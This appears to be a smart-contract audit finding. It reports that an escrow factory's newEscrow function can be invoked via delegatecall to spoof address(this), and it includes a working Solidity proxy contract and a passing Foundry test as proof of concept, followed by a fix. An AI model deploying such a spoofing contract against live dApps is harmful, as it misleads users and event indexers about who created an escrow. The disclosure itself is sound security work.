Summary
newEscrow
uses address(this)
to precompute the deployment address for Escrow. It is possible to execute newEscrow
through a delegatecall
, thus replacing address(this)
. Depending on how the entire dApp operates, this may or may not be consequential.
Vulnerability Details
Proxy contract working prototype:
pragma solidity 0.8.18;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IEscrowFactory} from "./IEscrowFactory.sol";
contract Delegatooor {
IEscrowFactory immutable factory;
constructor(address escrowFactory) {
factory = IEscrowFactory(escrowFactory);
}
function spoof(
uint256 price,
IERC20 tokenContract,
address seller,
address arbiter,
uint256 arbiterFee,
bytes32 salt
) external {
address(factory).delegatecall(
abi.encodeWithSignature("newEscrow(uint256,address,address,address,uint256,bytes32)",
price, tokenContract, seller, arbiter, arbiterFee, salt));
}
}
The following test passes:
function test_spoofExecutes() public hasTokensApprovedForSending {
Delegatooor d = new Delegatooor(address(escrowFactory));
address computedAddress = escrowFactory.computeEscrowAddress(
type(Escrow).creationCode,
address(d),
uint256(SALT1),
PRICE,
i_tokenContract,
BUYER,
SELLER,
ARBITER,
ARBITER_FEE
);
vm.prank(BUYER);
i_tokenContract.approve(address(d), 10 ether);
vm.prank(BUYER);
vm.expectEmit(true, true, true, true, address(d));
emit EscrowCreated(computedAddress, BUYER, SELLER, ARBITER);
d.spoof(PRICE, i_tokenContract, SELLER, ARBITER, ARBITER_FEE, SALT1);
Impact
The Escrow is deployed and operational (albeit at a different address than predicted), and the EscrowCreated
event is emitted in the context of the Delegatooor
contract.
Tools Used
foundry
Recommendations
If the design of the Escrow dApp in general is such where such spoofing is of consequence, commit EscrowFactory's deployer
variable to storage on deployment.